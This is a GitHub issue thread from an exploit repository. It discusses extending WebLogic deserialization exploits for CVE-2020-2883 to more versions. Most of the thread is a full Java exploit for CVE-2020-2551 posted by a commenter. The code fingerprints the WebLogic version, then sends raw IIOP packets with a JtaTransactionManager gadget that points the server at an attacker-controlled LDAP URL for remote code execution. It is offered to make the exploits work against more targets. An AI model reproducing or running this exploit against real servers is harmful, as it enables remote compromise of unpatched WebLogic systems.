exphub
exphub copied to clipboard
cve-2020-2555 cve-2020-2883 适配多个weblogic版本
脚本仅适配了特定版本的weblogic,比如cve-2020-2883_cmd.py仅适配了12.1.3.0版本的weblogic,对12.2.1.3和12.2.1.4版本无效。
使用 Y4er 的 java 版exp(https://github.com/Y4er/CVE-2020-2883),替换 coherence.jar 为对应版本后可在上述三个版本中复现成功。
希望作者可以适配一下其它两个版本,如果能够根据版本自动选择对应的反序列化数据就更好了(Y4er的exp可以显示目标weblogic版本)
我观察以下
Chen Yi [email protected] 于2020年6月1日周一 下午6:25写道:
脚本仅适配了12.1.3.0版本的weblogic,对12.2.1.3和12.2.1.4版本无效。
使用 Y4er 的 java 版exp(https://github.com/Y4er/CVE-2020-2883),替换 coherence.jar 为对应版本后可在上述三个版本中复现成功。
希望作者可以适配一下其它两个版本,如果能够根据版本自动选择对应的反序列化数据就更好了(Y4er的exp可以显示目标weblogic版本)
— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/zhzyker/exphub/issues/5, or unsubscribe https://github.com/notifications/unsubscribe-auth/AH3EUITO4DPUXHLMNWF4WDTRUN6ZXANCNFSM4NPWK2VQ .
我观察以下 Chen Yi [email protected] 于2020年6月1日周一 下午6:25写道: … 脚本仅适配了12.1.3.0版本的weblogic,对12.2.1.3和12.2.1.4版本无效。 使用 Y4er 的 java 版exp(https://github.com/Y4er/CVE-2020-2883),替换%EF%BC%8C%E6%9B%BF%E6%8D%A2) coherence.jar 为对应版本后可在上述三个版本中复现成功。 希望作者可以适配一下其它两个版本,如果能够根据版本自动选择对应的反序列化数据就更好了(Y4er的exp可以显示目标weblogic版本) — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#5>, or unsubscribe https://github.com/notifications/unsubscribe-auth/AH3EUITO4DPUXHLMNWF4WDTRUN6ZXANCNFSM4NPWK2VQ .
解决这个问题很简单,在发包之前先获取 weblogic 版本,然后根据不同的版本加载不同方案的 payload 就可以了。
dalao来了嘤嘤嘤,给dalao递茶ing~
之前写的 CVE-2020-2551 的方案可进行参考使用
import cn.hutool.core.util.HexUtil;
import cn.hutool.core.util.ReUtil;
import com.r4v3zn.fofa.core.DO.FofaData;
import com.r4v3zn.fofa.core.client.FofaClient;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Title: NewPoc
* Descrption: TODO
* Date:2020/2/26 4:23 下午
* Email:[email protected]
* Company:www.r4v3zn.com
*
* @author R4v3zn
* @version 1.0.0
*/
public class NewPoc {
public static void main(String[] args) throws Exception {
String ip = "";
int port = 7001;
String ldapUrl = "";
poc(ip,port,ldapUrl);
}
public static void poc(String ip, Integer port, String url) throws Exception {
String version = getVersion(ip, port);
System.out.println("weblogic version --> "+version);
Socket socket = null;
try {
socket = new Socket(ip, port);
} catch (IOException e) {
System.out.println("vul error");
return;
}
/* iiop == 1 */
String nameServerMsg = "47494f50010200030000001700000002000000000000000b4e616d6553657276696365";
byte[] nameServerByte = new byte[0];
try {
nameServerByte = sendSocket(nameServerMsg, socket);
} catch (Exception e) {
System.out.println("vul error");
return;
}
String nameServerHex = binaryToHexString(nameServerByte);
// get key
String key = getKeyHex(nameServerHex, true);
if("".equals(key)){
return;
}
// 提取 NAT 网络 IP
String iiopIp = "iiop://"+getIp(new String(nameServerByte));
// key length
String keyLength = addZeroForNum(Integer.toHexString(key.length()/2), 8);
/* iiop == 2 */
// op=_non_existent
String newSend = "000000030300000000000000"+keyLength+key+"0000000e5f6e6f6e5f6578697374656e7400000000000006000000050000001800000000000000010000000a3132372e302e312e3100d80100000006000000f0000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f6465426173653a312e30000000000100000000000000b4000102000000000a3132372e302e312e3100d8010000006400424541080103000000000100000000000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f6465426173653a312e30000000000331320000000000014245412c000000100000000000000000171db96932f5c18300000001000000010000002c0000000000010020000000030001002000010001050100010001010000000003000101000001010905010001000000010000000c0000000000010020050100010000000f0000002000000000000000000000000000000001000000000000000001000000000000004245410000000005000c020103000000"+setIpHex(iiopIp);
newSend = "47494f5001020000"+addZeroForNum(Integer.toHexString(newSend.length()/2),8)+newSend;
byte[] existentByte = sendSocket(newSend, socket);
// get new key
String newKey = getKeyHex(binaryToHexString(existentByte), false);
if(!"".equals(newKey) && newKey != null){
key = newKey;
}
// key length
keyLength = addZeroForNum(Integer.toHexString(key.length()/2), 8);
/* iiop == 3 */
// op=_non_existent
newSend = "000000040300000000000000"+keyLength+key+"0000000e5f6e6f6e5f6578697374656e7400000000000001"+setIpHex(iiopIp);
newSend = "47494f5001020000"+addZeroForNum(Integer.toHexString(newSend.length()/2),8)+newSend;
sendSocket(newSend, socket);
/* iiop == 4 */
// op=bind_nay
bindAny(key, keyLength, url, socket, version);
}
public static void bindAny(String key, String keyLength,String url, Socket socket, String version) throws Exception {
String checkHex = "47494f50010200010000000d00000004000000000000000000";
// header + length
String header = "47494f5001020000" ;
// request id
String requestId = "00000005";
// response flags
String responseFlags = "03";
// reserved
String reserved = "000000";
// target address
String targetAddress = "0000"+"0000";
// operation length + operation
String operationLength = "0000000962696e645f616e7900";
// body length
String dataLength = addZeroForNum("",8);
String serviceContextList = "00000000000000";
String subData = "";
String tmp = header+dataLength+requestId+responseFlags+reserved+targetAddress+keyLength+key+operationLength+serviceContextList;
System.out.println("字节码余 --> "+(tmp.length()%16));
String padding = "";
int paddingCount = (tmp.length()%16)/2;
// 计算填充字节码
if (paddingCount > 0){
for (int i = 0; i < paddingCount; i++ ) {
padding += "00";
}
}
serviceContextList += padding;
String urlLength = addZeroForNum(Integer.toHexString(url.length()),8);
if(version.contains("12.2.1.3")||version.contains("12.2.1.4")){
/**
* weblogic 12.2.1.3.0 版本 or weblogic 12.2.1.4.0 版本
*/
subData = "000000010000000568656c6c6f00000000000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0200000074524d493a636f6d2e6265612e636f72652e72657061636b616765642e737072696e676672616d65776f726b2e7472616e73616374696f6e2e6a74612e4a74615472616e73616374696f6e4d616e616765723a413235363030344146343946393942343a3143464133393637334232343037324400ffffffff0001010000000000000001010101000000000000000000007fffff020000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000";
//subData = "000000010000000568656c6c6f00000000000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff020000003e524d493a7765626c6f6769632e69696f702e50726f7879446573633a373343443941343543424135323933383a373432363138303142393331454630300000007fffff0200000059524d493a73756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c65723a433030334245443736453333333842423a35354341463530463135434237454135000000007fffff0a00000038524d493a6a6176612e7574696c2e486173684d61703a383635373335363841323131433031313a303530374441433143333136363044310000000015010100003f4000000000000c0000001000000001000000007fffff0a0000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000000000090000000570776e6564000000fffffffe00000001000000007fffff0a00000074524d493a636f6d2e6265612e636f72652e72657061636b616765642e737072696e676672616d65776f726b2e7472616e73616374696f6e2e6a74612e4a74615472616e73616374696f6e4d616e616765723a413235363030344146343946393942343a31434641333936373342323430373244000000001cffffffff0001010000000000000001010101000000000000000000007fffff0affffffffffffff18";
// length 00000021
// length 0000001d
/*
subData += addZeroForNum(Integer.toHexString(Integer.parseInt(urlLength,16)+4), 8);
subData += urlLength;
subData += HexUtil.encodeHexStr(url);
subData += "000000ffffffff7fffff0200000040524d493a6a617661782e726d692e434f5242412e436c617373446573633a324241424441303435383741444343433a43464246303243463532393431373642007fffff02fffffffffffffe98000000007fffff02fffffffffffffe8800000027524d493a6a6176612e6c616e672e4f766572726964653a30303030303030303030303030303030007fffff0200000039524d493a5b4c6a6176612e6c616e672e436c6173733b3a303731444138424537463937313132383a3243374535353033443942463935353300000000000000017fffff02ffffffffffffff24ffffffffffffff607fffff02fffffffffffffdf400000024524d493a6a6176612e726d692e52656d6f74653a30303030303030303030303030303030";
*/
}else if(version.contains("10.3.6.0") || version.contains("12.1.3.0")){
/*
weblogic 10.3.6.0.0 版本 or weblogic 12.1.3.0.0 版本
*/
subData += "000000010000000568656c6c6f00000000000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0200000074524d493a636f6d2e6265612e636f72652e72657061636b616765642e737072696e676672616d65776f726b2e7472616e73616374696f6e2e6a74612e4a74615472616e73616374696f6e4d616e616765723a304433303438453037423144334237423a3445463345434642423632383938324600ffffffff0001010000000000000001010100000000000000000000007fffff020000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000";
}else{
System.out.println("vul error");
return;
}
subData += addZeroForNum(Integer.toHexString(url.length()),8);
subData += HexUtil.encodeHexStr(url);
String body = requestId + responseFlags + reserved + targetAddress + keyLength + key + operationLength + serviceContextList + subData;
header += (addZeroForNum(Integer.toHexString(body.length()/2),8)+body);
byte[] bindAnyByte = sendSocket(header, socket);
String bindAny = new String(bindAnyByte);
String bindAnyHex = binaryToHexString(bindAnyByte);
if(bindAny.contains("omg.org/CORBA/MARSHAL:1.0") || checkHex.equals(bindAnyHex) || bindAny.contains("AlreadyBound")){
System.out.println("vul ok");
}else{
System.out.println("vul error");
}
}
/**
* <p>
* get weblogic version
* First get reponse body
* Second get version element by Jsoup
* End get version by regex
* if get version return version data
* </p>
* @param url weblogic url
* @return weblogic version
*/
public static String getVersion(String ip, Integer port) {
String webLogicUrl = "http://"+ip+":"+port;
String version = getVersionByHttp(webLogicUrl);
if("".equals(version)){
version = getVersionByT3(ip, port);
}
return version;
}
/**
* 通过 HTTP 获取 weblogic 版本
* @param url url
* @return 版本号
*/
public static String getVersionByHttp(String url){
String version = "";
url += "/console/login/LoginForm.jsp";
try {
Document doc = Jsoup.connect(url).get();
String versionTmpStr = doc.getElementById("footerVersion").text();
version = getVersion(versionTmpStr);
} catch (Exception e) {
version = "";
}
return version;
}
/**
* 通过 T3 获取 weblogic 版本
* @param ip ip
* @param port 端口
* @return 版本号
*/
public static String getVersionByT3(String ip, Integer port) {
String getVersionMsg = "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a50553a74333a2f2f75732d6c2d627265656e733a373030310a0a";
String version = "";
try {
Socket socket = new Socket(ip, port);
byte[] rspByte = sendSocket(getVersionMsg, socket);
socket.close();
version = getVersion(new String(rspByte));
} catch (Exception e) {
version = "";
}
return version;
}
public static String getVersion(String content){
content = content.replace("HELO:", "").replace(".false","").replace(".true", "");
String getVersionRegex = "[\\d\\.]+";
List<String> result = ReUtil.findAll(getVersionRegex, content, 0 , new ArrayList<String>());
return result != null && result.size() > 0 ? result.get(0) : "";
}
/**
* 读取响应数据内容
* @param sendMessage 发送内容
* @param socket socket 链接
* @return
* @throws Exception
*/
public static byte[] sendSocket(String sendMessage,Socket socket) throws Exception {
OutputStream out = socket.getOutputStream();
InputStream is = socket.getInputStream();
out.write(hexStrToBinaryStr(sendMessage));
out.flush();
byte[] bytes = new byte[4096];
int length = is.read(bytes);
return Arrays.copyOfRange(bytes, 0,length);
}
public static String addZeroForNum(String str, int strLength) {
int strLen = str.length();
if (strLen < strLength) {
while (strLen < strLength) {
StringBuffer sb = new StringBuffer();
sb.append("0").append(str);// 左补0
// sb.append(str).append("0");//右补0
str = sb.toString();
strLen = str.length();
}
}
return str;
}
/**
* 提取响应内容中的host
* @param content 响应内容信息
* @return
*/
public static String getIp(String content){
Pattern p=Pattern.compile("https?://([\\w\\:.-]+)/");
Matcher m=p.matcher(content);
String ip = "";
if(m.find()){
ip = m.group(1);
}
return ip;
}
/**
* 生成 IP hex码
* @param ip ip地址
* @return
*/
public static String setIpHex(String ip){
return "4245410e000000"+Integer.toHexString(ip.length()+9)+"00000000000000"+Integer.toHexString(ip.length()+1)+HexUtil.encodeHexStr(ip)+"00";
}
/**
* 提取 key hex
* @param rspHex 内容
* @return key hex
*/
public static String getKeyHex(String rspHex, final Boolean flag){
String startHex = "00424541";
int startIndex = -1;
if(flag){
startIndex = rspHex.indexOf(startHex);
}else if(rspHex.contains("0000000300000000")){
return null;
}else{
startIndex = rspHex.lastIndexOf(startHex);
}
if(startIndex != -1) {
int keyLength = Integer.parseInt(rspHex.substring(startIndex-8, startIndex), 16);
// 提取key
return rspHex.substring(startIndex, startIndex + keyLength*2);
}else{
return null;
}
}
/**
* 二进制转换为十六进制
* @param bytes byte数组
* @return 16进制字符串
*/
public static String binaryToHexString(byte[] bytes) {
String hexStr = "0123456789abcdef";
String result = "";
String hex = "";
for (byte b : bytes) {
hex = String.valueOf(hexStr.charAt((b & 0xF0) >> 4));
hex += String.valueOf(hexStr.charAt(b & 0x0F));
result += hex + "";
}
return result;
}
public static byte[] hexStrToBinaryStr(String hexString) {
hexString = hexString.replaceAll(" ", "");
int len = hexString.length();
int index = 0;
byte[] bytes = new byte[len / 2];
while (index < len) {
String sub = hexString.substring(index, index + 2);
bytes[index/2] = (byte)Integer.parseInt(sub,16);
index += 2;
}
return bytes;
}
}